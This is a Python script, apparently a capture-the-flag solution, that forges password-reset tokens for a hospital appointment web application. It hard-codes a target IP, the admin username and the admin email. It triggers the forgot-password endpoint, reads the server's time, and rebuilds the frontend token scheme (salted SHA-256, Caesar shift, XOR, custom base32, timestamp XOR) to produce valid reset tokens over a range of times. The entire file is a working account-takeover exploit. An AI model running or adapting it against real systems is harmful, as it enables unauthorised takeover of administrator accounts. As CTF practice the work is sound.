1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
| #!/usr/bin/env python3
"""Standalone offline-style reset token forger for HUBU2026-预约挂号.
The script uses only Python standard library. It contacts the target once to
read the HTTP Date header, then recreates the frontend token algorithm locally.
"""
import argparse
import calendar
import email.utils
import hashlib
import json
import time
import urllib.error
import urllib.request
DEFAULT_TARGET = "http://116.211.228.232:44481"
DEFAULT_USERNAME = "admin"
DEFAULT_EMAIL = "admin@hospital.com"
INTERNAL_SALT = "hospital_internal_2026"
XOR_MASK = 0xB7
XOR_SEED = 0x95
BASE32_ALPHABET = "HJKLMNPQRSTUVWXYZ23456789ABCDEFG"
TIMESTAMP_OFFSET = 1700000000
def http_request(url, method="GET", json_body=None, timeout=8):
data = None
headers = {}
if json_body is not None:
data = json.dumps(json_body).encode("utf-8")
headers["Content-Type"] = "application/json"
req = urllib.request.Request(url, data=data, headers=headers, method=method)
with urllib.request.urlopen(req, timeout=timeout) as resp:
return resp.status, dict(resp.headers), resp.read()
def get_server_epoch(target):
# HEAD is enough for Date; fall back to GET if the server rejects HEAD.
try:
_, headers, _ = http_request(target.rstrip("/") + "/", method="HEAD")
except Exception:
_, headers, _ = http_request(target.rstrip("/") + "/", method="GET")
date_header = headers.get("Date")
if not date_header:
raise RuntimeError("target response has no Date header")
parsed = email.utils.parsedate(date_header)
if parsed is None:
raise RuntimeError(f"invalid Date header: {date_header!r}")
return calendar.timegm(parsed), date_header
def trigger_forgot_password(target, email):
# Some implementations only accept reset tokens after the forgot flow runs.
url = target.rstrip("/") + "/api/forgot-password"
try:
status, _, body = http_request(url, method="POST", json_body={"email": email})
return status, body.decode("utf-8", errors="replace")
except Exception as exc:
return None, str(exc)
def derive_key(username):
raw = (username + INTERNAL_SALT).encode("utf-8")
return hashlib.sha256(raw).hexdigest()[:16]
def caesar_transform(value):
out = []
for ch in value:
c = ord(ch)
if 97 <= c <= 122:
c -= 3
if c < 97:
c += 26
elif 65 <= c <= 90:
c += 5
if c > 90:
c -= 26
elif 48 <= c <= 57:
c += 7
if c > 57:
c -= 10
out.append(chr(c))
return "".join(out)
def xor_obfuscate(value):
out = []
for i, ch in enumerate(value):
c = ord(ch) ^ XOR_MASK
c ^= (XOR_SEED + i) % 256
c ^= (i * 0x37) & 0xFF
out.append(chr(c & 0xFF))
return "".join(out)
def custom_base32(value):
result = ""
bits = 0
buffer = 0
for ch in value:
buffer = (buffer << 8) | (ord(ch) & 0xFF)
bits += 8
while bits >= 5:
bits -= 5
result += BASE32_ALPHABET[(buffer >> bits) & 0x1F]
if bits > 0:
result += BASE32_ALPHABET[(buffer << (5 - bits)) & 0x1F]
return result
def obfuscate_timestamp(timestamp):
value = ((timestamp - TIMESTAMP_OFFSET) ^ 0xDEADBEEF) & 0xFFFFFFFF
return f"{value:08x}"
def forge_token(username, timestamp):
key = derive_key(username)
encoded_key = custom_base32(xor_obfuscate(caesar_transform(key)))
return f"{obfuscate_timestamp(timestamp)}:{encoded_key}"
def parse_args():
parser = argparse.ArgumentParser(
description="Fetch target time and forge a password-reset token."
)
parser.add_argument("--target", default=DEFAULT_TARGET, help="target base URL")
parser.add_argument("--username", default=DEFAULT_USERNAME, help="target username")
parser.add_argument("--email", default=DEFAULT_EMAIL, help="email for forgot-password trigger")
parser.add_argument("--timestamp", type=int, help="use this Unix timestamp directly")
parser.add_argument("--server-date", help="use this HTTP Date header directly")
parser.add_argument("--offset", type=int, default=0, help="seconds added to server time")
parser.add_argument(
"--window",
nargs=2,
type=int,
metavar=("START", "END"),
help="print tokens for offsets from START to END inclusive",
)
parser.add_argument(
"--no-forgot",
action="store_true",
help="do not call /api/forgot-password before generating token",
)
parser.add_argument(
"--quiet",
action="store_true",
help="print only token lines",
)
return parser.parse_args()
def resolve_base_timestamp(args):
if args.timestamp is not None:
return args.timestamp, f"manual timestamp: {args.timestamp}"
if args.server_date:
parsed = email.utils.parsedate(args.server_date)
if parsed is None:
raise RuntimeError(f"invalid --server-date value: {args.server_date!r}")
epoch = calendar.timegm(parsed)
return epoch, f"manual Date: {args.server_date}"
epoch, header = get_server_epoch(args.target)
return epoch, f"server Date: {header}"
def main():
args = parse_args()
target = args.target.rstrip("/")
if not args.no_forgot:
status, body = trigger_forgot_password(target, args.email)
if not args.quiet:
print(f"[*] forgot-password status: {status}")
print(f"[*] forgot-password body: {body[:200]}")
try:
server_epoch, source = resolve_base_timestamp(args)
except urllib.error.URLError as exc:
raise SystemExit(
"network error while reading target time; use --timestamp or --server-date to run offline: "
f"{exc}"
)
if not args.quiet:
print(f"[*] time source: {source}")
print(f"[*] base epoch: {server_epoch}")
print(f"[*] username: {args.username}")
if args.window:
start, end = args.window
step = 1 if start <= end else -1
for offset in range(start, end + step, step):
ts = server_epoch + offset
print(f"{offset:+d} {ts} {forge_token(args.username, ts)}")
return 0
timestamp = server_epoch + args.offset
if not args.quiet:
print(f"[*] offset: {args.offset:+d}")
print(f"[*] timestamp: {timestamp}")
print(forge_token(args.username, timestamp))
return 0
if __name__ == "__main__":
raise SystemExit(main())
|
